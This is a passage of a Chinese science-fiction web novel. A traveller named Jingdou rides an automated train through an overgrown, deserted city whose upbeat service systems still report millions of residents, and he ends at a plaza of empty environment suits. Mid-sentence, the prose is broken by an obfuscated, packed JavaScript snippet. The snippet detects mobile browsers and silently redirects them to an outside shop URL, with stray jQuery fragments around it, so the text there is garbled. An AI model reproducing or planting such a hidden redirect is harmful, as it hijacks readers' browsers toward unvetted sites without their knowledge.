“为什么是愉快？”
景斗看着屏幕上那片由不同色阶组成的蓝色逐渐转变为明亮的粉色。黑色晶体内部，原本缓慢游动的银白色光流不知什么时候变得活跃了一些。
早在十几光年之外，他便察觉到了这里。
最初只是极其微弱的一点波动，隔着漫长的距离，几乎无法分辨。可随着他不断靠近，那些原本混杂在一起的东西，也渐渐有了不同的轮廓。
后悔，不甘。还有许多与之相近，却又无法准确区分的情绪。
在这场漫长而安静的旅途中，每当察觉到这样的波动，他总会不由自主地靠近。
这一次也是如此。只是当他真正来到这里以后，那一点原本还算清晰的波动，反而失去了明确的来源。
脚下的道路、爬满藤蔓的建筑、更远处被树木覆盖的城区，甚至那些已经沉入大地深处的人工结构里，到处都有类似的残留。
实在太多了。多到已经无法判断，最初被他察觉到的那一点，究竟来自什么地方。
“正在解析您的问题。”屏幕上的色块闪烁了几下。“‘祝您度过愉快的一天’为波塞尔城市公共服务系统的标准问候语。该语句用于向访客传达管理者的友好与祝愿。”
“‘愉快’，是指个体在感到满足、舒适或喜悦时所产生的正向情绪状态。”
短暂的停顿后，机械音再次响起。“请问，还有什么可以帮助您的吗？”
“建造这里的生命去了哪里？”
景斗看着道路两侧被植物覆盖的建筑。
屏幕上的色块停了一瞬。
“正在解析您的问题。”
“波塞尔现有常住人口信息属于城市居民数据库内容。访客权限无法查询具体居民位置。”
景斗没有出声。
机器继续道：
“如果您正在寻找特定居民，请提供对方姓名、身份编号或其他有效信息。”
“不是特定的。”
“正在重新解析。”
屏幕上的蓝色逐渐变深。
“请问，您是希望查询波塞尔当前人口分布情况吗？”
“嗯。”
“正在连接城市居民数据库。”
这一次，等待的时间明显长了一些。
道路上依旧没有任何动静。
一阵风穿过建筑之间，藤蔓相互摩擦，发出细碎的沙沙声。远处那只伏在废弃金属外壳上的六足动物翻了个身，很快又重新安静下来。
几秒后，屏幕亮起。
“连接失败。”
“正在尝试使用本地缓存数据。”
又过了一会儿。
“波塞尔登记常住人口：八百七十二万四千一百六十三。”
景斗朝空荡荡的道路看了一眼。
“他们在哪里？”
“波塞尔居民分布于中央城区、东部居住区、西北生态区、白昼湖沿岸及其他城市功能区域。”
“这里没有。”
机器没有立即回答。
屏幕上的色块缓慢闪烁。
“请明确您所指的对象。”
“八百七十二万四千一百六十三个生命。”
“……”
“访客权限不足。”
机械音依旧保持着先前那种平稳而欢快的语调。
“如需了解波塞尔城市人口与居住信息，建议前往中央公共服务中心。”
“是否为您规划路线？”
“是否为您规划路线？”
“可以。”
“正在规划。”
屏幕上的蓝色重新亮起。
几秒后，一条细长的光线从当前位置向城市深处延伸，穿过数个街区，最终停在一处面积很大的建筑群上。
“中央公共服务中心距离当前位置七点四公里。”
“建议搭乘城市环线。”
景斗看了一眼路线。
“怎么搭乘？”
“距离您最近的公共交通站点位于前方一百八十米。”
“下一班列车预计于两分十一秒后抵达。”
景斗转向前方。
道路两侧的彩色灯带仍在亮着，透过垂落的藤蔓，断断续续地向城市内部延伸。
他没有飞。
沿着机器给出的路线往前走了没多久，一座半开放的站台便从植物之间露了出来。
顶棚已经塌掉了一角。
几根粗壮的藤蔓顺着支柱爬上去，又从另一侧垂下来。原本供人等候的长椅只剩下半截，大量细小植物从裂开的地面之间长出，将另一半完全遮住。
景斗停在站台上。
四周没有其他生命。
头顶一块已经蒙上灰尘的显示屏忽然亮起。
“检测到访客。”
“欢迎使用波塞尔城市公共交通系统。”
“下一班城市环线将在四十六秒后抵达。”
景斗抬头看了一眼。
轨道从站台前方延伸出去，穿过两栋废弃建筑之间，很快便没入远处浓密的绿色。
时间一点点过去。
四十六秒后，远处真的传来了动静。
先是一阵很轻的震动。
紧接着，两点白光从植物深处亮起。
一辆银白色的长形交通工具沿着轨道驶来。
它的速度并不快。
外壳已经失去原本光泽，表面遍布划痕与污渍，其中一侧还缠着一截早已枯死的藤蔓。车身经过时，那截藤蔓不断拍打着金属表面，发出有规律的轻响。
列车准确停在站台边缘。
车门打开。
“中央城区方向。”
“请上车。”
景斗走了进去。
车厢里一个人也没有。
两侧座椅整齐排列，地面上积着一层薄薄的灰。几片干枯的叶子散落在靠近门边的位置，随着车门关闭时卷起的气流轻轻移动。
照明设备一盏接着一盏亮起。
“检测到一名乘客。”
“欢迎乘坐波塞尔城市环线。”
列车重新启动。
景斗站在窗边。
外面的城市开始缓慢向后退去。
最初还能勉强辨认出道路与建筑原本的轮廓。越往前，植物便越密集。许多巨大的树木直接从建筑内部生长出来，粗壮的根系撑裂墙体，枝干从一层层窗洞间穿过，一直伸向高处。
废弃的高架轨道之间垂满藤蔓。
几只长着宽大膜翼的生物停在断裂的横梁上。列车经过时，它们纷纷展开身体，从两侧滑翔出去。
车厢前方的屏幕忽然亮了起来。
明亮的影像覆盖了整个画面。
同样的街区。
同样的道路。
只是里面没有现在这些遮天蔽日的植物。
低矮的树木整齐分布在建筑之间，宽阔的步行区域里挤满了形态相似的生命。各种交通工具沿道路穿行，高处的轨道上，一辆辆与景斗脚下相同的列车不断经过。
“您正在经过西北居住区。”
“这里是波塞尔最早建成的大型生态居住区域之一。”
“区域规划充分保留原生植被，并通过开放式建筑结构保证自然采光与空气流通。”
景斗看看屏幕。
又看看窗外。
一根近十米粗的树根正从道路中央隆起，将整片地面顶得高高翘起。
列车从旁边经过。
屏幕上的声音依旧欢快。
“西北居住区目前登记常住人口一百零八万七千六百二十一。”
景斗转过身。
车厢里依旧空荡荡的。
“这里也没有。”
“请明确您的问题。”
“一百零八万七千六百二十一个生命。”
短暂的停顿后，系统回答：
“居民具体位置属于个人隐私信息，无法向访客提供。”
景斗没有再问。
列车继续往前。
又经过两个站点。
每一次停靠，车门都会准时打开。
广播也会按照固定流程播报站名。
可没有任何东西上车。
直到第三次启动以后，窗外忽然出现了一道极其庞大的透明结构。
它从地面一直延伸到高空，将前方整片城区与外界隔开。岁月在表面留下了大量污痕与裂纹，几处破损的位置甚至已经被植物钻了进去。
但主体依旧完整。
轨道正从其中一道狭长的开口穿过。
列车开始减速。
“即将进入中央环境区。”
“请确认个人环境适应设备工作正常。”
景斗朝那道透明屏障看了一眼。
列车穿了过去。
几乎就在进入另一侧的瞬间，他便察觉到了变化。
空气温
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868766|211814||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
度下降。
湿度提高。
照进车厢里的恒星光也明显变得柔和许多。
就连空气本身的组成，都和屏障外存在细微差别。
景斗转向车厢顶部。
“为什么这里不一样？”
“中央环境区采用独立环境维持系统。”
“系统将根据波塞尔标准宜居参数，对温度、湿度、辐射强度及空气组成进行持续调节。”
“为什么？”
“为居民提供稳定、舒适且安全的生活环境。”
景斗看向窗外。
透明屏障里面，同样长着植物。
但与外面完全不同。
树木明显矮小许多。
叶片也更薄。
许多植物已经枯死，只留下灰白色的枝干。少数仍然存活的，则被周围密集的喷淋装置与管道包围。
一根细长的立柱忽然转动。
嗤——
大片水雾向四周喷出。
干燥的枝叶短暂变得湿润。
没过多久，水分又迅速蒸发。
系统像是什么也没有察觉到一样，继续说道：
“中央环境区当前综合舒适指数：优秀。”
景斗看了一会儿。
“这些植物快死了。”
车厢里安静了一瞬。
“未检测到相关异常报告。”
“它们快死了。”
“正在查询中央环境区绿化维护记录。”
几秒后。
“查询失败。”
“建议联系城市生态管理部门。”
景斗没有继续追问。
列车又向前行驶了一段距离。
与外围相比，这里的城市保存得完整得多。
建筑表面依然洁白。
许多透明外墙也没有彻底破碎。
道路两侧甚至还能看见完整的装饰设施。
只是越往里面，活着的植物反而越少。
最深处的几条街道上，已经很难看到绿色。
只有一排排枯死的树木留在道路两侧。
而在它们上方，无数喷淋、遮光与空气调节设备仍在持续工作。
“中央公共服务中心站即将到达。”
广播响起。
列车开始减速。
景斗重新看向窗外。
前方出现了一片极其开阔的广场。
广场中央矗立着一座巨大的建筑。
通体呈银白色，外墙由大量规则的透明结构组成。即使过去了不知道多久，大部分主体依旧保存完好。
建筑正上方，一块巨大的显示屏忽然亮起。
画面闪烁了几次。
随后，一张笑脸出现在上面。
“欢迎来到中央公共服务中心。”
“这里可以为您提供居民事务、交通、医疗、教育、住房以及城市生活相关服务。”
“波塞尔，让生活始终更加美好。”
列车停下。
车门打开。
景斗走上站台。
他抬头看了一会儿那张笑脸。
广场上没有任何人。
只有风从空荡荡的建筑之间吹过，将地面堆积的灰尘卷起一层。
而在广场另一端，一整排原本供居民进入公共服务中心的通道前，堆着大量灰白色的东西。
景斗朝那里走了过去。
离得近了，才看清那是什么。
一具又一具厚重的外壳。
有些倒在地上。
有些倚着墙壁。
还有更多挤在已经关闭的入口前，彼此压在一起。
它们大致呈现出与屏幕影像里那些生命相似的形态。
顶部覆盖着透明弧面。
身体周围连接着大量管线。
只是里面早已空了。
一只巴掌大小的生物忽然从其中一具外壳的透明面罩后探出脑袋。
嘴里还衔着几根枯草。
它看了景斗一眼。
很快又缩了回去。
里面随即传来几声细碎的叫声。
景斗停在那里。
头顶巨大的屏幕依然亮着。
那道欢快的声音再次响起。
“如需办理业务，请取号后耐心等候。”
“当前预计等待时间——”
短暂的停顿。
“零分钟。”